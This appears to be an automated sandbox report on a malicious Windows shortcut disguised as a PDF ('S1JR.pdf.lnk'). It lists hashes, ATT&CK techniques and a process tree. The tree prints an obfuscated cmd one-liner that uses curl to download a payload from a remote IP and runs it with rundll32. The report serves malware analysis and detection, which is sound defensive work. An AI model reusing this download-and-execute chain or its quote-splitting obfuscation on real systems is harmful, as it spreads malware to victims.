d757eff3f0d03873fc94627ebc59e38ce6c231fce6c5107108222376011559cb

Analysis

max time kernel
145s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
11/10/2023, 14:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

S1JR.pdf.lnk
Size

2KB
MD5

65937746034e734deb86f064b98a5958
SHA1

2b33bdf69fa40f53b4443c079e50fa653c4a3e88
SHA256

d757eff3f0d03873fc94627ebc59e38ce6c231fce6c5107108222376011559cb
SHA512

68689b44f07d661a7cbac01cfd1a9b6b248fb9b6514f6d184892ad381213f10f8f53d180313ca5a63b917c3f8a3d946a6d1b130521717a8e654acca598fef06f

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2908	PING.EXE
3916	PING.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4168 wrote to memory of 2168	4168	cmd.exe	87
PID 4168 wrote to memory of 2168	4168	cmd.exe	87
PID 2168 wrote to memory of 3916	2168	cmd.exe	88
PID 2168 wrote to memory of 3916	2168	cmd.exe	88
PID 2168 wrote to memory of 488	2168	cmd.exe	89
PID 2168 wrote to memory of 488	2168	cmd.exe	89
PID 2168 wrote to memory of 2908	2168	cmd.exe	99
PID 2168 wrote to memory of 2908	2168	cmd.exe	99
PID 2168 wrote to memory of 2136	2168	cmd.exe	101
PID 2168 wrote to memory of 2136	2168	cmd.exe	101

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\S1JR.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c CKk || eCHO CKk & p"I"nG CKk || C"URl" h"t"t"p:"//1"35.125".177.95/syK"/u"UF -o C:\Users\Admin\AppData\Local\Temp\CKk.log & p"I"nG -n 2 CKk || rundll32 C:\Users\Admin\AppData\Local\Temp\CKk.log scab /k besogon728 & Exi"t" 'fqKtaeAEJAc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\system32\PING.EXE
    p"I"nG CKk
    3⤵
    - Runs ping.exe
    PID:3916
- - C:\Windows\system32\curl.exe
    C"URl" h"t"t"p:"//1"35.125".177.95/syK"/u"UF -o C:\Users\Admin\AppData\Local\Temp\CKk.log
    3⤵
    PID:488
- - C:\Windows\system32\PING.EXE
    p"I"nG -n 2 CKk
    3⤵
    - Runs ping.exe
    PID:2908
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\Users\Admin\AppData\Local\Temp\CKk.log scab /k besogon728
    3⤵
    PID:2136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

Loading Replay Monitor...